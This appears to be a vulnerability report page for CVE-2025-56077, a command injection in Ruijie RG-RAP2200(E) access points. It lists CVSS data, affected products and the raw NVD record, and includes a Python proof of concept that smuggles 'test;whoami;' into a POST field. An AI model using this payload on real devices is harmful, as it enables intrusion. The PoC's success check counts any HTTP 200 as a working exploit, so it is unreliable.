Security Vulnerability Report
中文
CVE-2025-56077 CVSS 8.8 HIGH

CVE-2025-56077

Published: 2025-12-11 18:16:20
Last Modified: 2025-12-26 14:40:28

Description

OS Command Injection vulnerability in Ruijie RG-RAP2200(E) 247 2200 allowing attackers to execute arbitrary commands via a crafted POST request to the module_set in file /usr/local/lua/dev_sta/nbr_cwmp.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijienetworks:reyee_os:2.280.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-eap162\(g\):-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijienetworks:reyee_os:2.280.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-rap1260:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:rg-rap2200\(e\)_firmware:3.0\(1\)b11p247:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-rap2200\(e\):-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie RG-RAP2200(E) 247系列
Ruijie RG-RAP2200(E) 2200系列

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-56077 PoC - Ruijie RG-RAP2200(E) OS Command Injection This PoC demonstrates the command injection vulnerability in the module_set endpoint. """ import requests import sys target = "http://target-device:80" def exploit_cve_2025_56077(): """Execute command injection exploit on Ruijie RG-RAP2200(E)""" endpoint = f"{target}/module_set" # Payload to inject command: whoami # The injection point is in the parameter processed by nbr_cwmp.lua payload = { "module_name": "test;whoami;", "action": "set" } try: print(f"[*] Sending exploit payload to {endpoint}") response = requests.post(endpoint, data=payload, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body:\n{response.text}") # Check if command was executed if "root" in response.text or response.status_code == 200: print("[+] Exploit successful! Command injection confirmed.") return True else: print("[-] Exploit may have failed. Check manually.") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": exploit_cve_2025_56077()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56077", "sourceIdentifier": "[email protected]", "published": "2025-12-11T18:16:20.077", "lastModified": "2025-12-26T14:40:28.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie RG-RAP2200(E) 247 2200 allowing attackers to execute arbitrary commands via a crafted POST request to the module_set in file /usr/local/lua/dev_sta/nbr_cwmp.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijienetworks:reyee_os:2.280.0:*:*:*:*:*:*:*", "matchCriteriaId": "B5D0A035-AC2A-4217-A728-529F1891028C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-eap162\\(g\\):-:*:*:*:*:*:*:*", "matchCriteriaId": "42B56CB0-D65F-4DD6-85C9-46A9D26C9A7E"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijienetworks:reyee_os:2.280.0:*:*:*:*:*:*:*", "matchCriteriaId": "B5D0A035-AC2A-4217-A728-529F1891028C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-rap1260:-:*:*:*:*:*:*:*", "matchCriteriaId": "7F737572-87F6-4769-A617-5CEF76D5F035"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-rap2200\\(e\\)_firmware:3.0\\(1\\)b11p247:*:*:*:*:*:*:*", "matchCriteriaId": "F523E0A9-7FF1-47D3-B0C8-556451212A20"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-rap2200\\(e\\):-:*:*:*:*:*:*:*", "matchCriteriaId": "CD790BDC-9564-4A98-AF02-E4A8F6E6938B"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/EvnzTspA23NAl-T9w70dG4MBnWWojsrzAeM1i-ed2EauAA?e=AYOxPM", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/EURTWAoIJNRMtvzNPi08CToB780nsKPNHZ2Fdmcf9xsoRA?e=jHygdj", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56077.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}